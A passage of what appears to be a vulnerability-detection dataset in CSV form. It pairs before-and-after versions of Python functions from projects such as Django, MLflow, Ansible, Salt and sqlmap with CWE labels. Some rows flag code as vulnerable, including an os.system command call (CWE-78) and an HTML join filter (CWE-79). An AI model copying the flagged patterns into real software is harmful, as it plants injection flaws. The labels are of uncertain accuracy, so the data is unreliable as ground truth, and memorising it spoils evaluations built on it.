    for py_ver, tops in _six.iteritems(tops_py_version_mapping):
        for top in tops:
            base = os.path.basename(top)
            top_dirname = os.path.dirname(top)
            if os.path.isdir(top_dirname):
                os.chdir(top_dirname)
            else:
                # This is likely a compressed python .egg
                tempdir = tempfile.mkdtemp()
                egg = zipfile.ZipFile(top_dirname)
                egg.extractall(tempdir)
                top = os.path.join(tempdir, base)
                os.chdir(tempdir)
            if not os.path.isdir(top):
                # top is a single file module
                tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
                continue
            for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
                for name in files:
                    if name.endswith(('.pyc', '.pyo')):
                        continue
                    if root.startswith('salt') and os.path.join(root, name) not in min_files:
                        continue
                    tfp.add(os.path.join(root, name),
                            arcname=os.path.join('py{0}'.format(py_ver), root, name))
            if tempdir is not None:
                shutil.rmtree(tempdir)
                tempdir = None

    os.chdir(mindir)
    tfp.add('salt-call')
    with salt.utils.files.fopen(minver, 'w+') as fp_:
        fp_.write(salt.version.__version__)
    with salt.utils.files.fopen(pyminver, 'w+') as fp_:
        fp_.write(str(sys.version_info[0]))  # future lint: disable=blacklisted-function
    os.chdir(os.path.dirname(minver))
    tfp.add('version')
    tfp.add('.min-gen-py-version')
    if start_dir:
        os.chdir(start_dir)
    tfp.close()
    return mintar"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/update_ml_package_versions.py,0,"def update_max_version(src, key, new_max_version, category):
    """"""
    Examples
    ========
    >>> src = '''
    ... sklearn:
    ...   ...
    ...   models:
    ...     minimum: ""0.0.0""
    ...     maximum: ""0.0.0""
    ... xgboost:
    ...   ...
    ...   autologging:
    ...     minimum: ""1.1.1""
    ...     maximum: ""1.1.1""
    ... '''.strip()
    >>> new_src = update_max_version(src, ""sklearn"", ""0.1.0"", ""models"")
    >>> new_src = update_max_version(new_src, ""xgboost"", ""1.2.1"", ""autologging"")
    >>> print(new_src)
    sklearn:
      ...
      models:
        minimum: ""0.0.0""
        maximum: ""0.1.0""
    xgboost:
      ...
      autologging:
        minimum: ""1.1.1""
        maximum: ""1.2.1""
    """"""
    pattern = r""((^|\n){key}:.+?{category}:.+?maximum: )\"".+?\"""".format(
        key=re.escape(key), category=category
    )
    # Matches the following pattern:
    #
    # <key>:
    #   ...
    #   <category>:
    #     ...
    #     maximum: ""1.2.3""
    return re.sub(pattern, rf'\g<1>""{new_max_version}""', src, flags=re.DOTALL)",,mlflow/mlflow,8ad9239fb71b6db045013aaa4cf132005eaae58e,"def update_max_version(src, key, new_max_version, category):
    """"""
    Examples
    ========
    >>> src = '''
    ... sklearn:
    ...   ...
    ...   models:
    ...     minimum: ""0.0.0""
    ...     maximum: ""0.0.0""
    ... xgboost:
    ...   ...
    ...   autologging:
    ...     minimum: ""1.1.1""
    ...     maximum: ""1.1.1""
    ... '''.strip()
    >>> new_src = update_max_version(src, ""sklearn"", ""0.1.0"", ""models"")
    >>> new_src = update_max_version(new_src, ""xgboost"", ""1.2.1"", ""autologging"")
    >>> print(new_src)
    sklearn:
      ...
      models:
        minimum: ""0.0.0""
        maximum: ""0.1.0""
    xgboost:
      ...
      autologging:
        minimum: ""1.1.1""
        maximum: ""1.2.1""
    """"""
    pattern = r""({key}:.+?{category}:.+?maximum: )\"".+?\"""".format(
        key=re.escape(key), category=category
    )
    # Matches the following pattern:
    #
    # <key>:
    #   ...
    #   <category>:
    #     ...
    #     maximum: ""1.2.3""
    return re.sub(pattern, rf'\g<1>""{new_max_version}""', src, flags=re.DOTALL)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_client.py,0,"def putfo(self, fl, remotepath, file_size=0, callback=None, confirm=True):
        """"""
        Copy the contents of an open file object (``fl``) to the SFTP server as
        ``remotepath``. Any exception raised by operations will be passed
        through.

        The SFTP operations use pipelining for speed.

        :param file fl: opened file or file-like object to copy
        :param str remotepath: the destination path on the SFTP server
        :param int file_size:
            optional size parameter passed to callback. If none is specified,
            size defaults to 0
        :param callable callback:
            optional callback function (form: ``func(int, int)``) that accepts
            the bytes transferred so far and the total bytes to be transferred
            (since 1.7.4)
        :param bool confirm:
            whether to do a stat() on the file afterwards to confirm the file
            size (since 1.7.7)

        :return:
            an `.SFTPAttributes` object containing attributes about the given
            file.

        .. versionadded:: 1.10
        """"""
        with self.file(remotepath, 'wb') as fr:
            fr.set_pipelined(True)
            size = 0
            while True:
                data = fl.read(32768)
                fr.write(data)
                size += len(data)
                if callback is not None:
                    callback(size, file_size)
                if len(data) == 0:
                    break
        if confirm:
            s = self.stat(remotepath)
            if s.st_size != size:
                raise IOError('size mismatch in put!  %d != %d' % (s.st_size, size))
        else:
            s = SFTPAttributes()
        return s",,paramiko/paramiko,5fc6969e23ec5e013f432e4efbe12d771150c1e1,"def putfo(self, fl, remotepath, file_size=0, callback=None, confirm=True):
        """"""
        Copy the contents of an open file object (``fl``) to the SFTP server as
        ``remotepath``. Any exception raised by operations will be passed
        through.

        The SFTP operations use pipelining for speed.

        :param file fl: opened file or file-like object to copy
        :param str remotepath: the destination path on the SFTP server
        :param int file_size:
            optional size parameter passed to callback. If none is specified,
            size defaults to 0
        :param callable callback:
            optional callback function (form: ``func(int, int)``) that accepts
            the bytes transferred so far and the total bytes to be transferred
            (since 1.7.4)
        :param bool confirm:
            whether to do a stat() on the file afterwards to confirm the file
            size (since 1.7.7)

        :return:
            an `.SFTPAttributes` object containing attributes about the given
            file.

        .. versionadded:: 1.4
        .. versionchanged:: 1.7.4
            Began returning rich attribute objects.
        """"""
        with self.file(remotepath, 'wb') as fr:
            fr.set_pipelined(True)
            size = 0
            while True:
                data = fl.read(32768)
                fr.write(data)
                size += len(data)
                if callback is not None:
                    callback(size, file_size)
                if len(data) == 0:
                    break
        if confirm:
            s = self.stat(remotepath)
            if s.st_size != size:
                raise IOError('size mismatch in put!  %d != %d' % (s.st_size, size))
        else:
            s = SFTPAttributes()
        return s"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/boto_sns.py,0,"def _get_region(region=None, profile=None):
    if profile and 'region' in profile:
        return profile['region']
    if not region and __salt__['config.option'](profile):
        _profile = __salt__['config.option'](profile)
        region = _profile.get('region', None)
    if not region and __salt__['config.option']('sns.region'):
        region = __salt__['config.option']('sns.region')
    if not region:
        region = 'us-east-1'
    return region",,saltstack/salt,6e16ca46ed74f84c0c34138834ca1311d9d313b9,"def _get_region(region=None, profile=None):
    if profile and 'region' in profile:
        return profile['region']
    if not region and __salt__['config.option']('sns.region'):
        region = __salt__['config.option']('sns.region')
    if not region:
        region = 'us-east-1'
    return region"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/controller.py,0,"def _showInjections():
    if conf.wizard and kb.wizardMode:
        kb.wizardMode = False

    if kb.testQueryCount > 0:
        header = ""sqlmap identified the following injection point(s) with ""
        header += ""a total of %d HTTP(s) requests"" % kb.testQueryCount
    else:
        header = ""sqlmap resumed the following injection point(s) from stored session""

    if conf.api:
        conf.dumper.string("""", {""url"": conf.url, ""query"": conf.parameters.get(PLACE.GET), ""data"": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
        conf.dumper.string("""", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
    else:
        data = """".join(set(_formatInjection(_) for _ in kb.injections)).rstrip(""\n"")
        conf.dumper.string(header, data)

    if conf.tamper:
        warnMsg = ""changes made by tampering scripts are not ""
        warnMsg += ""included in shown payload content(s)""
        logger.warning(warnMsg)

    if conf.hpp:
        warnMsg = ""changes made by HTTP parameter pollution are not ""
        warnMsg += ""included in shown payload content(s)""
        logger.warning(warnMsg)",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def _showInjections():
    if conf.wizard and kb.wizardMode:
        kb.wizardMode = False

    if kb.testQueryCount > 0:
        header = ""sqlmap identified the following injection point(s) with ""
        header += ""a total of %d HTTP(s) requests"" % kb.testQueryCount
    else:
        header = ""sqlmap resumed the following injection point(s) from stored session""

    if conf.api:
        conf.dumper.string("""", {""url"": conf.url, ""query"": conf.parameters.get(PLACE.GET), ""data"": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
        conf.dumper.string("""", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
    else:
        data = """".join(set(_formatInjection(_) for _ in kb.injections)).rstrip(""\n"")
        conf.dumper.string(header, data)

    if conf.tamper:
        warnMsg = ""changes made by tampering scripts are not ""
        warnMsg += ""included in shown payload content(s)""
        logger.warn(warnMsg)

    if conf.hpp:
        warnMsg = ""changes made by HTTP parameter pollution are not ""
        warnMsg += ""included in shown payload content(s)""
        logger.warn(warnMsg)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_chocolatey.py,1,"def test_chocolatey_version_refresh():
    context = {""chocolatey._version"": ""0.9.9""}
    mock_find = MagicMock(return_value=""some_path"")
    mock_run = MagicMock(return_value=""2.2.0"")
    with patch.dict(chocolatey.__context__, context), patch.object(
        chocolatey, ""_find_chocolatey"", mock_find
    ), patch.dict(chocolatey.__salt__, {""cmd.run"": mock_run}):
        result = chocolatey.chocolatey_version(refresh=True)
        expected = ""2.2.0""
        assert result == expected",CWE-703,saltstack/salt,dd2de01d70de16b229d58a5c2c16065a583c1f56,"def test_chocolatey_version_refresh():
    context = {""chocolatey._version"": ""0.9.9""}
    mock_find = MagicMock(return_value=""some_path"")
    mock_run = MagicMock(return_value=""2.2.0"")
    with (
        patch.dict(chocolatey.__context__, context),
        patch.object(chocolatey, ""_find_chocolatey"", mock_find),
        patch.dict(chocolatey.__salt__, {""cmd.run"": mock_run}),
    ):
        result = chocolatey.chocolatey_version(refresh=True)
        expected = ""2.2.0""
        assert result == expected"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/net_tools/dnsimple.py,0,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            account_email=dict(required=False),
            account_api_token=dict(required=False, no_log=True),
            domain=dict(required=False),
            record=dict(required=False),
            record_ids=dict(required=False, type='list'),
            type=dict(required=False, choices=['A', 'ALIAS', 'CNAME', 'MX', 'SPF', 'URL', 'TXT', 'NS', 'SRV', 'NAPTR', 'PTR', 'AAAA', 'SSHFP', 'HINFO',
                                               'POOL']),
            ttl=dict(required=False, default=3600, type='int'),
            value=dict(required=False),
            priority=dict(required=False, type='int'),
            state=dict(required=False, choices=['present', 'absent']),
            solo=dict(required=False, type='bool'),
        ),
        required_together=[
            ['record', 'value']
        ],
        supports_check_mode=True,
    )

    if not HAS_DNSIMPLE:
        module.fail_json(msg=""dnsimple required for this module"")

    account_email = module.params.get('account_email')
    account_api_token = module.params.get('account_api_token')
    domain = module.params.get('domain')
    record = module.params.get('record')
    record_ids = module.params.get('record_ids')
    record_type = module.params.get('type')
    ttl = module.params.get('ttl')
    value = module.params.get('value')
    priority = module.params.get('priority')
    state = module.params.get('state')
    is_solo = module.params.get('solo')

    if account_email and account_api_token:
        client = DNSimple(email=account_email, api_token=account_api_token)
    elif os.environ.get('DNSIMPLE_EMAIL') and os.environ.get('DNSIMPLE_API_TOKEN'):
        client = DNSimple(email=os.environ.get('DNSIMPLE_EMAIL'), api_token=os.environ.get('DNSIMPLE_API_TOKEN'))
    else:
        client = DNSimple()

    try:
        # Let's figure out what operation we want to do

        # No domain, return a list
        if not domain:
            domains = client.domains()
            module.exit_json(changed=False, result=[d['domain'] for d in domains])

        # Domain & No record
        if domain and record is None and not record_ids:
            domains = [d['domain'] for d in client.domains()]
            if domain.isdigit():
                dr = next((d for d in domains if d['id'] == int(domain)), None)
            else:
                dr = next((d for d in domains if d['name'] == domain), None)
            if state == 'present':
                if dr:
                    module.exit_json(changed=False, result=dr)
                else:
                    if module.check_mode:
                        module.exit_json(changed=True)
                    else:
                        module.exit_json(changed=True, result=client.add_domain(domain)['domain'])
            elif state == 'absent':
                if dr:
                    if not module.check_mode:
                        client.delete(domain)
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

        # need the not none check since record could be an empty string
        if domain and record is not None:
            records = [r['record'] for r in client.records(str(domain))]

            if not record_type:
                module.fail_json(msg=""Missing the record type"")

            if not value:
                module.fail_json(msg=""Missing the record value"")

            rr = next((r for r in records if r['name'] == record and r['record_type'] == record_type and r['content'] == value), None)

            if state == 'present':
                changed = False
                if is_solo:
                    # delete any records that have the same name and record type
                    same_type = [r['id'] for r in records if r['name'] == record and r['record_type'] == record_type]
                    if rr:
                        same_type = [rid for rid in same_type if rid != rr['id']]
                    if same_type:
                        if not module.check_mode:
                            for rid in same_type:
                                client.delete_record(str(domain), rid)
                        changed = True
                if rr:
                    # check if we need to update
                    if rr['ttl'] != ttl or rr['prio'] != priority:
                        data = {}
                        if ttl:
                            data['ttl'] = ttl
                        if priority:
                            data['prio'] = priority
                        if module.check_mode:
                            module.exit_json(changed=True)
                        else:
                            module.exit_json(changed=True, result=client.update_record(str(domain), str(rr['id']), data)['record'])
                    else:
                        module.exit_json(changed=changed, result=rr)
                else:
                    # create it
                    data = {
                        'name': record,
                        'record_type': record_type,
                        'content': value,
                    }
                    if ttl:
                        data['ttl'] = ttl
                    if priority:
                        data['prio'] = priority
                    if module.check_mode:
                        module.exit_json(changed=True)
                    else:
                        module.exit_json(changed=True, result=client.add_record(str(domain), data)['record'])
            elif state == 'absent':
                if rr:
                    if not module.check_mode:
                        client.delete_record(str(domain), rr['id'])
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

        # Make sure these record_ids either all exist or none
        if domain and record_ids:
            current_records = [str(r['record']['id']) for r in client.records(str(domain))]
            wanted_records = [str(r) for r in record_ids]
            if state == 'present':
                difference = list(set(wanted_records) - set(current_records))
                if difference:
                    module.fail_json(msg=""Missing the following records: %s"" % difference)
                else:
                    module.exit_json(changed=False)
            elif state == 'absent':
                difference = list(set(wanted_records) & set(current_records))
                if difference:
                    if not module.check_mode:
                        for rid in difference:
                            client.delete_record(str(domain), rid)
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

    except DNSimpleException as e:
        module.fail_json(msg=""Unable to contact DNSimple: %s"" % e.message)

    module.fail_json(msg=""Unknown what you wanted me to do"")",,ansible/ansible,0854dc3f7fd63b846f707ee3c35778cabaf4cce6,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            account_email=dict(required=False),
            account_api_token=dict(required=False, no_log=True),
            domain=dict(required=False),
            record=dict(required=False),
            record_ids=dict(required=False, type='list'),
            type=dict(required=False, choices=['A', 'ALIAS', 'CNAME', 'MX', 'SPF', 'URL', 'TXT', 'NS', 'SRV', 'NAPTR', 'PTR', 'AAAA', 'SSHFP', 'HINFO',
                                               'POOL']),
            ttl=dict(required=False, default=3600, type='int'),
            value=dict(required=False),
            priority=dict(required=False, type='int'),
            state=dict(required=False, choices=['present', 'absent']),
            solo=dict(required=False, type='bool'),
        ),
        required_together=(
            ['record', 'value']
        ),
        supports_check_mode=True,
    )

    if not HAS_DNSIMPLE:
        module.fail_json(msg=""dnsimple required for this module"")

    account_email = module.params.get('account_email')
    account_api_token = module.params.get('account_api_token')
    domain = module.params.get('domain')
    record = module.params.get('record')
    record_ids = module.params.get('record_ids')
    record_type = module.params.get('type')
    ttl = module.params.get('ttl')
    value = module.params.get('value')
    priority = module.params.get('priority')
    state = module.params.get('state')
    is_solo = module.params.get('solo')

    if account_email and account_api_token:
        client = DNSimple(email=account_email, api_token=account_api_token)
    elif os.environ.get('DNSIMPLE_EMAIL') and os.environ.get('DNSIMPLE_API_TOKEN'):
        client = DNSimple(email=os.environ.get('DNSIMPLE_EMAIL'), api_token=os.environ.get('DNSIMPLE_API_TOKEN'))
    else:
        client = DNSimple()

    try:
        # Let's figure out what operation we want to do

        # No domain, return a list
        if not domain:
            domains = client.domains()
            module.exit_json(changed=False, result=[d['domain'] for d in domains])

        # Domain & No record
        if domain and record is None and not record_ids:
            domains = [d['domain'] for d in client.domains()]
            if domain.isdigit():
                dr = next((d for d in domains if d['id'] == int(domain)), None)
            else:
                dr = next((d for d in domains if d['name'] == domain), None)
            if state == 'present':
                if dr:
                    module.exit_json(changed=False, result=dr)
                else:
                    if module.check_mode:
                        module.exit_json(changed=True)
                    else:
                        module.exit_json(changed=True, result=client.add_domain(domain)['domain'])
            elif state == 'absent':
                if dr:
                    if not module.check_mode:
                        client.delete(domain)
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

        # need the not none check since record could be an empty string
        if domain and record is not None:
            records = [r['record'] for r in client.records(str(domain))]

            if not record_type:
                module.fail_json(msg=""Missing the record type"")

            if not value:
                module.fail_json(msg=""Missing the record value"")

            rr = next((r for r in records if r['name'] == record and r['record_type'] == record_type and r['content'] == value), None)

            if state == 'present':
                changed = False
                if is_solo:
                    # delete any records that have the same name and record type
                    same_type = [r['id'] for r in records if r['name'] == record and r['record_type'] == record_type]
                    if rr:
                        same_type = [rid for rid in same_type if rid != rr['id']]
                    if same_type:
                        if not module.check_mode:
                            for rid in same_type:
                                client.delete_record(str(domain), rid)
                        changed = True
                if rr:
                    # check if we need to update
                    if rr['ttl'] != ttl or rr['prio'] != priority:
                        data = {}
                        if ttl:
                            data['ttl'] = ttl
                        if priority:
                            data['prio'] = priority
                        if module.check_mode:
                            module.exit_json(changed=True)
                        else:
                            module.exit_json(changed=True, result=client.update_record(str(domain), str(rr['id']), data)['record'])
                    else:
                        module.exit_json(changed=changed, result=rr)
                else:
                    # create it
                    data = {
                        'name': record,
                        'record_type': record_type,
                        'content': value,
                    }
                    if ttl:
                        data['ttl'] = ttl
                    if priority:
                        data['prio'] = priority
                    if module.check_mode:
                        module.exit_json(changed=True)
                    else:
                        module.exit_json(changed=True, result=client.add_record(str(domain), data)['record'])
            elif state == 'absent':
                if rr:
                    if not module.check_mode:
                        client.delete_record(str(domain), rr['id'])
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

        # Make sure these record_ids either all exist or none
        if domain and record_ids:
            current_records = [str(r['record']['id']) for r in client.records(str(domain))]
            wanted_records = [str(r) for r in record_ids]
            if state == 'present':
                difference = list(set(wanted_records) - set(current_records))
                if difference:
                    module.fail_json(msg=""Missing the following records: %s"" % difference)
                else:
                    module.exit_json(changed=False)
            elif state == 'absent':
                difference = list(set(wanted_records) & set(current_records))
                if difference:
                    if not module.check_mode:
                        for rid in difference:
                            client.delete_record(str(domain), rid)
                    module.exit_json(changed=True)
                else:
                    module.exit_json(changed=False)
            else:
                module.fail_json(msg=""'%s' is an unknown value for the state argument"" % state)

    except DNSimpleException as e:
        module.fail_json(msg=""Unable to contact DNSimple: %s"" % e.message)

    module.fail_json(msg=""Unknown what you wanted me to do"")"
,UNKNOWN,UNKNOWN,django/template/defaultfilters.py,1,"def join(value, arg, autoescape=True):
    """"""Join a list with a string, like Python's ``str.join(list)``.""""""
    try:
        if autoescape:
            data = conditional_escape(arg).join([conditional_escape(v) for v in value])
        else:
            data = arg.join(value)
    except TypeError:  # Fail silently if arg isn't iterable.
        return value
    return mark_safe(data)",CWE-79,django/django,a2da81fe083a9dbc37b8355c25fdc23e3b58d16f,"def join(value, arg, autoescape=True):
    """"""Join a list with a string, like Python's ``str.join(list)``.""""""
    try:
        if autoescape:
            value = [conditional_escape(v) for v in value]
        data = conditional_escape(arg).join(value)
    except TypeError:  # Fail silently if arg isn't iterable.
        return value
    return mark_safe(data)"
,UNKNOWN,UNKNOWN,mlflow/azureml/__init__.py,1,"def deploy(app_name, model_path, run_id, mlflow_home):
    """"""
    Deploy MLflow model to Azure ML.

    NOTE:

        - This command must be called from a console launched from Azure ML Workbench. Caller is
        reponsible for setting up Azure ML environment and accounts.

        - Azure ML can not handle any Conda environment. In particular the Python version is fixed.
        If the model contains Conda environment and it has been trained outside of Azure ML, the
        Conda environment might need to be edited to work with Azure ML.

    :param mlflow_home:
    :param app_name: Name of the deployed application.
    :param model_path: Local or MLflow-run-relative path to the model to be exported.
    :param run_id: If provided, ``run_id`` is used to retrieve the model logged with MLflow.
    """"""
    if run_id:
        model_path = _get_model_log_dir(model_path, run_id)
    model_path = os.path.abspath(model_path)
    with TempDir(chdr=True, remove_on_exit=True):
        exec_str = _export(app_name, model_path, mlflow_home=mlflow_home)
        eprint(""executing"", '""{}""'.format(exec_str))
        # Use os.system instead of subprocess due to the fact that currently all azureml commands
        # have to be called within the same shell (launched from azureml workbench app by the user).
        # We can change this once there is a python api (or general cli) available.
        os.system(exec_str)",CWE-78,mlflow/mlflow,f5157c49bc1709c3cf85a4bd4f8ab4c4ace750d2,"def deploy(app_name, model_path, run_id, mlflow_home):
    """"""
    Deploy MLflow model to Azure ML.

    NOTE: This command is to be called from correctly initialized Azure ML environment.
         At the moment this means it has to be run from console launched from Azure ML Workbench.
         Caller is reponsible for setting up Azure ML environment and accounts.

    NOTE: Azure ML can not handle any Conda environment. In particular python version seems to be
          fixed. If the model contains Conda environment and it has been trained outside of Azure
          ML, the Conda environment might need to be edited to work with Azure ML.

    :param mlflow_home:
    :param app_name: Name of the deployed application
    :param model_path: Local or MLflow-run-relative path to the model to be exported
    :param run_id: If provided, run_id is used to retrieve the model logged with MLflow.
    """"""
    if run_id:
        model_path = _get_model_log_dir(model_path, run_id)
    model_path = os.path.abspath(model_path)
    with TempDir(chdr=True, remove_on_exit=True):
        exec_str = _export(app_name, model_path, mlflow_home=mlflow_home)
        eprint(""executing"", '""{}""'.format(exec_str))
        # Use os.system instead of subprocess due to the fact that currently all azureml commands
        # have to be called within the same shell (launched from azureml workbench app by the user).
        # We can change this once there is a python api (or general cli) available.
        os.system(exec_str)"
,UNKNOWN,UNKNOWN,django/db/backends/postgresql/introspection.py,1,"def get_table_list(self, cursor):
        """"""Return a list of table and view names in the current database.""""""
        cursor.execute(""""""
            SELECT c.relname,
            CASE WHEN c.relispartition THEN 'p' WHEN c.relkind IN ('m', 'v') THEN 'v' ELSE 't' END
            FROM pg_catalog.pg_class c
            LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
            WHERE c.relkind IN ('f', 'm', 'p', 'r', 'v')
                AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
                AND pg_catalog.pg_table_is_visible(c.oid)
        """""")
        return [TableInfo(*row) for row in cursor.fetchall() if row[0] not in self.ignored_tables]",CWE-89,django/django,5371342ed66f5ff9feae9dc4586ec43830bbeca6,"def get_table_list(self, cursor):
        """"""Return a list of table and view names in the current database.""""""
        cursor.execute(""""""
            SELECT c.relname,
            CASE WHEN {} THEN 'p' WHEN c.relkind IN ('m', 'v') THEN 'v' ELSE 't' END
            FROM pg_catalog.pg_class c
            LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
            WHERE c.relkind IN ('f', 'm', 'p', 'r', 'v')
                AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
                AND pg_catalog.pg_table_is_visible(c.oid)
        """""".format('c.relispartition' if self.connection.features.supports_table_partitions else 'FALSE'))
        return [TableInfo(*row) for row in cursor.fetchall() if row[0] not in self.ignored_tables]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/cliconf/junos.py,0,"def edit_config(self, candidate=None, commit=True, replace=None, comment=None):

        operations = self.get_device_operations()
        self.check_edit_config_capabiltiy(operations, candidate, commit, replace, comment)

        resp = {}
        results = []
        requests = []

        if replace:
            candidate = 'load replace {0}'.format(replace)

        for line in to_list(candidate):
            if not isinstance(line, collections.Mapping):
                line = {'command': line}
            cmd = line['command']
            results.append(self.send_command(**line))
            requests.append(cmd)

        diff = self.compare_configuration()
        if diff:
            resp['diff'] = diff

            if commit:
                self.commit(comment=comment)
            else:
                self.discard_changes()

        else:
            for cmd in ['top', 'exit']:
                self.send_command(cmd)

        resp['request'] = requests
        resp['response'] = results
        return resp",,ansible/ansible,d1de1e0449d26bbb7ac5f67f91dd02f96bfe8e3f,"def edit_config(self, candidate=None, commit=True, replace=None, comment=None):

        operations = self.get_device_operations()
        self.check_edit_config_capabiltiy(operations, candidate, commit, replace, comment)

        resp = {}
        results = []
        requests = []

        if replace:
            candidate = 'load replace {0}'.format(replace)

        for line in to_list(candidate):
            if not isinstance(line, collections.Mapping):
                line = {'command': line}
            cmd = line['command']
            results.append(self.send_command(**line))
            requests.append(cmd)

        diff = self.compare_configuration()
        if diff:
            resp['diff'] = diff

        if commit:
            self.commit(comment=comment)
        else:
            self.discard_changes()

        resp['request'] = requests
        resp['response'] = results
        return resp"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/extension_loader.py,0,"def check_id(self, test):
        return (
            test in self.plugins_by_id or
            test in self.blacklist_by_id or
            test in self.builtin)",UNKNOWN,PyCQA/bandit,79e0502a99adb1a1bce2869faab4dc6b186fe2a6,"def check_id(self, test):
        return (
            test in self.plugins_by_id or
            test in self.blacklist_by_id or
            test in self.builtin)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/core_ci.py,0,"def _create_http_error(response):
        """"""
        :type response: HttpResponse
        :rtype: ApplicationError
        """"""
        response_json = response.json()
        stack_trace = ''

        if 'message' in response_json:
            message = response_json['message']
        elif 'errorMessage' in response_json:
            message = response_json['errorMessage'].strip()
            if 'stackTrace' in response_json:
                traceback_lines = response_json['stackTrace']

                # AWS Lambda on Python 2.7 returns a list of tuples
                # AWS Lambda on Python 3.7 returns a list of strings
                if traceback_lines and isinstance(traceback_lines[0], list):
                    traceback_lines = traceback.format_list(traceback_lines)

                trace = '\n'.join([x.rstrip() for x in traceback_lines])
                stack_trace = ('\nTraceback (from remote server):\n%s' % trace)
        else:
            message = str(response_json)

        return CoreHttpError(response.status_code, message, stack_trace)",,ansible/ansible,ab169694162f30795efb878b45b68fe326c3da00,"def _create_http_error(response):
        """"""
        :type response: HttpResponse
        :rtype: ApplicationError
        """"""
        response_json = response.json()
        stack_trace = ''

        if 'message' in response_json:
            message = response_json['message']
        elif 'errorMessage' in response_json:
            message = response_json['errorMessage'].strip()
            if 'stackTrace' in response_json:
                trace = '\n'.join([x.rstrip() for x in traceback.format_list(response_json['stackTrace'])])
                stack_trace = ('\nTraceback (from remote server):\n%s' % trace)
        else:
            message = str(response_json)

        return CoreHttpError(response.status_code, message, stack_trace)"
,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator.py,1,"def test_init_container(self):
        # GIVEN
        volume_mounts = [
            k8s.V1VolumeMount(mount_path='/etc/foo', name='test-volume', sub_path=None, read_only=True)
        ]

        init_environments = [
            k8s.V1EnvVar(name='key1', value='value1'),
            k8s.V1EnvVar(name='key2', value='value2'),
        ]

        init_container = k8s.V1Container(
            name=""init-container"",
            image=""ubuntu:16.04"",
            env=init_environments,
            volume_mounts=volume_mounts,
            command=[""bash"", ""-cx""],
            args=[""echo 10""],
        )

        volume = k8s.V1Volume(
            name='test-volume',
            persistent_volume_claim=k8s.V1PersistentVolumeClaimVolumeSource(claim_name='test-volume'),
        )
        expected_init_container = {
            'name': 'init-container',
            'image': 'ubuntu:16.04',
            'command': ['bash', '-cx'],
            'args': ['echo 10'],
            'env': [{'name': 'key1', 'value': 'value1'}, {'name': 'key2', 'value': 'value2'}],
            'volumeMounts': [{'mountPath': '/etc/foo', 'name': 'test-volume', 'readOnly': True}],
        }

        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test-"" + str(random.randint(0, 1000000)),
            task_id=""task"" + self.get_current_task_name(),
            volumes=[volume],
            init_containers=[init_container],
            in_cluster=False,
            do_xcom_push=False,
        )
        context = create_context(k)
        k.execute(context)
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        self.expected_pod['spec']['initContainers'] = [expected_init_container]
        self.expected_pod['spec']['volumes'] = [
            {'name': 'test-volume', 'persistentVolumeClaim': {'claimName': 'test-volume'}}
        ]
        assert self.expected_pod == actual_pod","CWE-330, CWE-703",apache/airflow,ccdd73ec50ab9fb9d18d1cce7a19a95fdedcf9b9,"def test_init_container(self):
        # GIVEN
        volume_mounts = [
            k8s.V1VolumeMount(mount_path='/etc/foo', name='test-volume', sub_path=None, read_only=True)
        ]

        init_environments = [
            k8s.V1EnvVar(name='key1', value='value1'),
            k8s.V1EnvVar(name='key2', value='value2'),
        ]

        init_container = k8s.V1Container(
            name=""init-container"",
            image=""ubuntu:16.04"",
            env=init_environments,
            volume_mounts=volume_mounts,
            command=[""bash"", ""-cx""],
            args=[""echo 10""],
        )

        volume = k8s.V1Volume(
            name='test-volume',
            persistent_volume_claim=k8s.V1PersistentVolumeClaimVolumeSource(claim_name='test-volume'),
        )
        expected_init_container = {
            'name': 'init-container',
            'image': 'ubuntu:16.04',
            'command': ['bash', '-cx'],
            'args': ['echo 10'],
            'env': [{'name': 'key1', 'value': 'value1'}, {'name': 'key2', 'value': 'value2'}],
            'volumeMounts': [{'mountPath': '/etc/foo', 'name': 'test-volume', 'readOnly': True}],
        }

        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test-"" + str(random.randint(0, 1000000)),
            task_id=""task"" + self.get_current_task_name(),
            volumes=[volume],
            init_containers=[init_container],
            in_cluster=False,
